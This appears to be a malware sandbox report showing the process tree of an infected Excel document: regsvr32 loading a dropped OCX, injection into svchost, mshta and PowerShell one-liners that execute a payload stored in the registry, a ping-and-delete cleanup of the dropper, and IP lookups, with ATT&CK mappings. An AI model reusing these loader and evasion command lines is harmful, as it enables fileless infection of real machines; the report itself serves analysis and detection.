  "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\tr_6.xls
  2⤵
  - Suspicious use of WriteProcessMemory
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious use of SetWindowsHookEx
  PID:828
- - C:\Windows\System32\regsvr32.exe
    "C:\Windows\System32\regsvr32.exe" /s /i dDdoiBj.ocx
    3⤵
    - Suspicious use of WriteProcessMemory
    - Process spawned unexpected child process
    PID:1320
  - - C:\Windows\SysWOW64\regsvr32.exe
      /s /i dDdoiBj.ocx
      4⤵
      Suspicious use of WriteProcessMemory
      Loads dropped DLL
      Suspicious use of SetThreadContext
      PID:1812
    - - C:\Windows\SysWOW64\svchost.exe
        
        C:\Windows\System32\svchost.exe
        5⤵
        Suspicious use of WriteProcessMemory
        Suspicious behavior: EnumeratesProcesses
        Checks for installed software on the system
        Modifies system certificate store
        Loads dropped DLL
        Suspicious use of SetThreadContext
        Suspicious use of AdjustPrivilegeToken
        
        PID:372
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd /K
        6⤵
        
        PID:1596
      - C:\Windows\SysWOW64\svchost.exe
        
        C:\Windows\System32\svchost.exe
        6⤵
        
        PID:1936
      - C:\Users\Admin\AppData\Local\Temp\BNE29.tmp
        
        C:\Users\Admin\AppData\Local\Temp\BNE29.tmp
        6⤵
        Executes dropped EXE
        
        PID:2012
- C:\Windows\System32\mshta.exe
  "C:\Windows\System32\mshta.exe" "about:<hta:application><script>resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\136B3805-56F5-BDAC-F8F7-EA41AC1BBE05\\\Efsltprf'));if(!window.flag)close()</script>"
  2⤵
  - Suspicious use of WriteProcessMemory
  - Modifies Internet Explorer settings
  PID:2096
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex ([System.Text.Encoding]::ASCII.GetString(( gp "HKCU:Software\AppDataLow\Software\Microsoft\136B3805-56F5-BDAC-F8F7-EA41AC1BBE05").dmrctcls))
    3⤵
    - Suspicious use of WriteProcessMemory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Drops file in System32 directory
    - Suspicious use of SetThreadContext
    - Suspicious use of AdjustPrivilegeToken
    PID:2148
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\vztbp514\vztbp514.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2232
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8FB1.tmp" "c:\Users\Admin\AppData\Local\Temp\vztbp514\CSCDF39001764504E568BF4AAB818EDFC8E.TMP"
        5⤵
        
        PID:2252
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\t5bg4o3y\t5bg4o3y.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2276
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES90BA.tmp" "c:\Users\Admin\AppData\Local\Temp\t5bg4o3y\CSC7D8ADCA7B08E4FEDB622CE60798EA89E.TMP"
        5⤵
        
        PID:2296
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\BNE29.tmp"
  2⤵
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of SetThreadContext
  PID:2368
- - C:\Windows\system32\PING.EXE
    ping localhost -n 5
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    - Runs ping.exe
    PID:2416
- C:\Windows\system32\cmd.exe
  cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\D750.bi1"
  2⤵
  PID:2456
- - C:\Windows\system32\nslookup.exe
    nslookup myip.opendns.com resolver1.opendns.com
    3⤵
    PID:2512
- C:\Windows\system32\cmd.exe
  cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\D74C.bi1"
  2⤵
  PID:2464
- - C:\Windows\system32\nslookup.exe
    nslookup myip.opendns.com resolver1.opendns.com
    3⤵
    PID:2504
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\D74C.bi1"
  2⤵
  PID:2532

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
1⤵
- Suspicious use of WriteProcessMemory
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Checks whether UAC is enabled
- Suspicious use of SetWindowsHookEx
PID:852
- C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:852 CREDAT:275457 /prefetch:2
  2⤵
  - Modifies Internet Explorer settings
  - Checks whether UAC is enabled
  - Suspicious use of SetWindowsHookEx
  PID:1692
- C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:852 CREDAT:537608 /prefetch:2
  2⤵
  - Modifies Internet Explorer settings
  - Checks whether UAC is enabled
  - Suspicious use of SetWindowsHookEx
  PID:1788

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

Remote System Discovery

T1018

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\BNE29.tmp

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C:\Users\Admin\AppData\Local\Temp\BNE29.tmp

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C:\Users\Admin\AppData\Local\Temp\D74C.bi1

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C:\Users\Admin\AppData\Local\Temp\D74C.bi1

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C:\Users\Admin\AppData\Local\Temp\RES8FB1.tmp

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C:\Users\Admin\AppData\Local\Temp\RES90BA.tmp

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C:\Users\Admin\AppData\Local\Temp\t5bg4o3y\t5bg4o3y.dll

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C:\Users\Admin\AppData\Local\Temp\vztbp514\vztbp514.dll

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C:\Users\Admin\Documents\dDdoiBj.ocx

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\??\c:\Users\Admin\AppData\Local\Temp\t5bg4o3y\CSC7D8ADCA7B08E4FEDB622CE60798EA89E.TMP

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\??\c:\Users\Admin\AppData\Local\Temp\t5bg4o3y\t5bg4o3y.0.cs

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\??\c:\Users\Admin\AppData\Local\Temp\t5bg4o3y\t5bg4o3y.cmdline

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\??\c:\Users\Admin\AppData\Local\Temp\vztbp514\CSCDF39001764504E568BF4AAB818EDFC8E.TMP

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\??\c:\Users\Admin\AppData\Local\Temp\vztbp514\vztbp514.0.cs

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\??\c:\Users\Admin\AppData\Local\Temp\vztbp514\vztbp514.cmdline

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\Users\Admin\AppData\Local\Temp\BNE29.tmp

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\Users\Admin\AppData\Local\Temp\BNE29.tmp

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\Users\Admin\Documents\dDdoiBj.ocx

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memory/372-4-0x0000000000400000-0x0000000000409000-memory.dmp

Filesize
36KB

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memory/372-5-0x0000000000402960-mapping.dmp

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memory/372-6-0x0000000000400000-0x0000000000409000-memory.dmp

Filesize
36KB

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memory/1320-0-0x0000000000000000-mapping.dmp

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memory/1596-10-0x0000000000000000-mapping.dmp

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memory/1692-20-0x0000000000000000-mapping.dmp

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memory/1788-21-0x0000000000000000-mapping.dmp

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memory/1812-2-0x0000000000000000-mapping.dmp

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memory/1936-11-0x000000000BC00000-0x000000000BC12000-memory.dmp

Filesize
72KB

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memory/1936-12-0x000000000BC01067-mapping.dmp

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memory/1936-13-0x000000000BC00000-0x000000000BC12000-memory.dmp

Filesize
72KB

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memory/2012-16-0x0000000000000000-mapping.dmp

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memory/2012-19-0x0000000000FB0000-0x0000000000FC1000-memory.dmp

Filesize
68KB

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memory/2012-18-0x0000000000CE9000-0x0000000000CFA000-memory.dmp

Filesize
68KB

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memory/2148-22-0x0000000000000000-mapping.dmp

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memory/2232-23-0x0000000000000000-mapping.dmp

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memory/2252-26-0x0000000000000000-mapping.dmp

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memory/2276-30-0x0000000000000000-mapping.dmp

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memory/2296-33-0x0000000000000000-mapping.dmp

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memory/2368-39-0x000007FFFFFDC000-mapping.dmp

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memory/2368-38-0x0000000000000000-mapping.dmp

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memory/2368-37-0x0000000000000000-mapping.dmp

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memory/2416-40-0x0000000000000000-mapping.dmp

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memory/2416-41-0x000007FFFFFDF000-mapping.dmp

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memory/2456-42-0x0000000000000000-mapping.dmp

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memory/2464-43-0x0000000000000000-mapping.dmp

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memory/2504-44-0x0000000000000000-mapping.dmp

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memory/2512-45-0x0000000000000000-mapping.dmp

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memory/2532-46-0x0000000000000000-mapping.dmp

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